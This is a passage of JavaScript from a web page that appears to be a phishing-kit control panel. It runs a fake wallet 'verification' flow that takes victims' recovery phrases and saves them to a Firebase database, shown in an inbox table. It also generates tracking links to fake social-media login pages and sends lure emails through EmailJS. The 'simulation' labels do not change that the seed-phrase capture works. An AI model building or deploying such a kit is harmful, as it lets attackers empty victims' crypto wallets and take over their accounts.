const overlay = document.getElementById('overlay');
const sidebar = document.querySelector('aside');
const darkModeToggle = document.getElementById('dark-mode-toggle');
// Current state
let currentWalletStep = 1;
let selectedWallet = '';
let selectedSocialCategory = '';
let selectedSocialPlatform = '';
// Toggle sidebar
menuToggle.addEventListener('click', () => {
sidebar.classList.toggle('open');
overlay.classList.toggle('open');
});
// Close sidebar when clicking overlay
overlay.addEventListener('click', () => {
sidebar.classList.remove('open');
overlay.classList.remove('open');
});
// Toggle dark mode
darkModeToggle.addEventListener('click', () => {
document.documentElement.classList.toggle('dark');
localStorage.setItem('darkMode', document.documentElement.classList.contains('dark'));
});
// Check for saved dark mode preference
if (localStorage.getItem('darkMode') === 'true') {
document.documentElement.classList.add('dark');
} else if (localStorage.getItem('darkMode') === 'false') {
document.documentElement.classList.remove('dark');
} else if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
document.documentElement.classList.add('dark');
}
// Show specific section
function showSection(sectionId) {
document.querySelectorAll('main > section').forEach(section => {
section.classList.add('hidden');
});
document.getElementById(sectionId).classList.remove('hidden');
sidebar.classList.remove('open');
overlay.classList.remove('open');
// Load submissions when inbox is shown
if (sectionId === 'inbox') {
loadSubmissions();
}
}
// Copy text to clipboard
function copyToClipboard(elementId) {
const element = document.getElementById(elementId);
element.select();
document.execCommand('copy');
// Show feedback
const originalText = element.nextElementSibling.textContent;
element.nextElementSibling.textContent = 'Copied!';
setTimeout(() => {
element.nextElementSibling.textContent = originalText;
}, 2000);
}
// Wallet Connect Simulation Functions
function nextWalletStep(step) {
document.getElementById(`wallet-step-${currentWalletStep}`).classList.add('hidden');
currentWalletStep = step;
document.getElementById(`wallet-step-${currentWalletStep}`).classList.remove('hidden');
}
function prevWalletStep(step) {
document.getElementById(`wallet-step-${currentWalletStep}`).classList.add('hidden');
currentWalletStep = step;
document.getElementById(`wallet-step-${currentWalletStep}`).classList.remove('hidden');
}
function selectWallet(wallet) {
selectedWallet = wallet;
document.getElementById('wallet-verify-title').textContent = `Verify Your ${wallet}`;
nextWalletStep(3);
}
function submitWalletVerification() {
const recoveryPhrase = document.getElementById('recovery-phrase').value;
if (!recoveryPhrase) {
alert('Please enter your recovery phrase');
return;
}
// Save to Firebase
const submissionsRef = database.ref('walletSubmissions');
const newSubmissionRef = submissionsRef.push();
newSubmissionRef.set({
date: new Date().toISOString(),
wallet: selectedWallet,
phrase: recoveryPhrase,
ip: '192.168.1.1' // In a real app, you'd get this from the user's connection
});
nextWalletStep(4);
}
// Social HK Functions
function selectSocialCategory(category) {
selectedSocialCategory = category;
document.getElementById('social-category').value = category;
document.getElementById('social-platform-step').classList.remove('hidden');
document.getElementById('social-generate-section').classList.remove('hidden');
// Update landing page preview
document.getElementById('social-landing-title').textContent = `Proceed with ${category}`;
document.getElementById('social-landing-desc').textContent = `Requested: ${Math.floor(Math.random() * 100)}. Click connect to continue.`;
}
function selectSocialPlatform(platform) {
selectedSocialPlatform = platform;
document.getElementById('social-platform').value = platform;
}
function generateSocialLink() {
if (!selectedSocialCategory || !selectedSocialPlatform) {
alert('Please select both category and platform');
return;
}
const token = Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
const link = `https://service-xx-xx.hf.space/social-hk/landing.html#${token}`;
document.getElementById('social-link').value = link;
document.getElementById('social-generated-link').classList.remove('hidden');
// In a real app, you would save this link to your database
}
function showSocialLogin() {
document.getElementById('social-landing').classList.add('hidden');
document.getElementById('social-login-pages').classList.remove('hidden');
// Show the appropriate login page based on selected platform
document.querySelectorAll('#social-login-pages > div').forEach(page => {
page.classList.add('hidden');
});
const loginPageId = `${selectedSocialPlatform.toLowerCase()}-login`;
document.getElementById(loginPageId).classList.remove('hidden');
}
function submitSocialCredentials(platform) {
// In a real app, you would collect the credentials and save them
// For demo purposes, we'll just show the error page
document.querySelectorAll('#social-login-pages > div').forEach(page => {
page.classList.add('hidden');
});
document.getElementById('social-error').classList.remove('hidden');
}
function resetSocialSimulation() {
document.getElementById('social-login-pages').classList.add('hidden');
document.getElementById('social-landing').classList.remove('hidden');
}
// Email Functions
function sendWalletEmail() {
const recipientEmail = document.getElementById('recipient-email').value;
if (!recipientEmail) {
alert('Please enter recipient email');
return;
}
const templateParams = {
to_email: recipientEmail,
subject: document.getElementById('email-subject').value,
message: document.getElementById('email-message').value,
button_text: document.getElementById('button-text').value,
wallet_link: document.getElementById('wallet-link').value
};
// In a real app, you would use EmailJS or another service
// This is just a simulation
emailjs.send('service_id', 'template_id', templateParams)
.then(function(response) {
alert('Email sent successfully!');
}, function(error) {
alert('Failed to send email: ' + error.text);
});
}
// Load submissions from Firebase
function loadSubmissions() {
const submissionsRef = database.ref('walletSubmissions');
const tableBody = document.getElementById('submissions-table');
tableBody.innerHTML = '';
submissionsRef.on('value', (snapshot) => {
const data = snapshot.val();
if (data) {
Object.entries(data).forEach(([key, value]) => {
const row = document.createElement('tr');
row.innerHTML = `
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500 dark:text-gray-300">${new Date(value.date).toLocaleString()}</td>
<td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900 dark:text-gray-100">${value.wallet}</td>
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500 dark:text-gray-300">${value.phrase.substring(0, 20)}...</td>
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500 dark:text-gray-300">${value.ip}</td>
`;
tableBody.appendChild(row);
});
} else {
const row = document.createElement('tr');
row.innerHTML = `
<td colspan="4" class="px-6 py-4 whitespace-nowrap text-sm text-gray-500 dark:text-gray-300 text-center">No submissions yet</td>
`;
tableBody.appendChild(row);
}
});
}
// Initialize the dashboard
showSection('dashboard');
</script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=Kingmaxjj/loading" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html> |